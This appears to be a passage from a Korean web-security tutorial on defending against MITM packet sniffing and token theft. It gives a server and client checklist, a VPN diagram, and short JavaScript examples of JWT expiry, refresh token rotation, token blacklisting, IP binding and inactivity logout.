3. 검증 실패 시 경고 표시

인증서 경고가 뜨면:

⚠️ 주의가 필요한 사이트
이 사이트의 인증서가 신뢰할 수 없습니다.

절대 무시하지 말 것! MITM 공격일 수 있음

패킷 탈취 방어 체크리스트

서버 측:

✅ HTTPS 필수 적용
✅ HSTS 헤더 설정
✅ 최신 TLS 버전 사용 (TLS 1.2 이상)
✅ 유효한 SSL 인증서 사용 (Let's Encrypt 등)
✅ HTTP → HTTPS 리다이렉트 설정

클라이언트 측:

✅ 인증서 경고 무시하지 않기
✅ 공용 WiFi에서 민감한 작업 피하기
✅ VPN 사용 권장
✅ URL이 https://로 시작하는지 확인
✅ 자물쇠 아이콘 확인

VPN의 역할

VPN은 모든 트래픽을 암호화된 터널로 전송하여 패킷 스니핑을 방어합니다.

[VPN 없이 공용 WiFi]
[사용자] ──(평문)──→ [공격자] ──→ [인터넷]
                    ↑ 도청 가능

[VPN 사용 시]
[사용자] ──(암호화)──→ [VPN 서버] ──→ [인터넷]
              ↑
         암호화된 터널
         (공격자가 봐도 내용 확인 불가)

7. 토큰 탈취 대응 전략

토큰이 탈취되더라도 피해를 최소화하는 방법들입니다.

서버 측 대응

1. 짧은 Access Token 만료 시간

const accessToken = jwt.sign({ userId }, SECRET, { expiresIn: "15m" });

탈취되어도 15분 후 만료되어 사용 불가.

2. Refresh Token Rotation

[기존 방식]
Refresh Token → 새 Access Token (Refresh Token 동일)

[Rotation 방식]
Refresh Token → 새 Access Token + 새 Refresh Token
               (기존 Refresh Token 폐기)

탈취된 Refresh Token으로 재발급 시도 시, 이미 새 토큰이 발급되어 무효화됨.

3. 토큰 블랙리스트

const blacklist = new Set();
 
// 로그아웃 또는 이상 감지 시
blacklist.add(tokenId);
 
// 요청 시 검증
if (blacklist.has(decoded.jti)) {
  return res.status(401).send("Token revoked");
}

4. IP/기기 바인딩

// 토큰 발급 시
const token = jwt.sign({
  userId,
  ip: req.ip,
  userAgent: req.headers["user-agent"],
});
 
// 검증 시
if (decoded.ip !== req.ip) {
  return res.status(401).send("IP mismatch");
}

클라이언트 측 대응

1. 민감한 작업 시 재인증

const changePassword = async () => {
  const currentPassword = prompt("현재 비밀번호를 입력하세요");
  await api.changePassword({ currentPassword, newPassword });
};

토큰이 탈취되어도 중요한 작업은 추가 인증 필요.

2. 비활성 시 자동 로그아웃

let inactiveTimer;
 
const resetTimer = () => {
  clearTimeout(inactiveTimer);
  inactiveTimer = setTimeout(
    () => {
      logout();
    },
    30 * 60 * 1000,
  ); // 30분
};
 
document.addEventListener("mousemove", resetTimer);
document.addEventListener("keypress", resetTimer);

대응 방법 정리

방법효과구현 위치
짧은 만료 시간피해 시간 제한서버
Token Rotation탈취 감지 가능서버
블랙리스트즉시 무효화서버
IP/기기 바인딩다른 환경 사용 차단서버
민감 작업 재인증중요 작업 보호클라이언트
비활성 로그아웃탈취 가능 시간 단축클라이언트

참고 자료